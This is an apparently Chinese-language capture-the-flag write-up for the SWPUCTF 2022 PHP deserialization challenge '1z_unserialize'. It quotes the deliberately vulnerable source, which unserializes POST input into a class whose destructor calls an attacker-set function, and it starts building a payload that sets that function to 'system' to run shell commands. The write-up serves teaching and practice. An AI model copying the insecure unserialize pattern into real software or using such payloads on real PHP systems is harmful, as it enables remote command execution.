PHP反序列化部分题目解析
1.[SWPUCTF 2022 新生赛]1z_unserialize
首先进入靶场后,我们可以直接看到题目的php源码如下:
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
function __destruct()
{
$a = $this->lt;
$a($this->lly);
}
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?>
稍加分析,我们可以知道在实现nss反序列化的同时,会触发__destruct()的魔术方法将lt的值赋给a,然后调用a中存储的函数,并将lly属性的值作为参数传递给该函数,由此我们想到把a变成system();this->lly变成ls就可以了
进行构造:
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt="system";
public $lly="cat";
}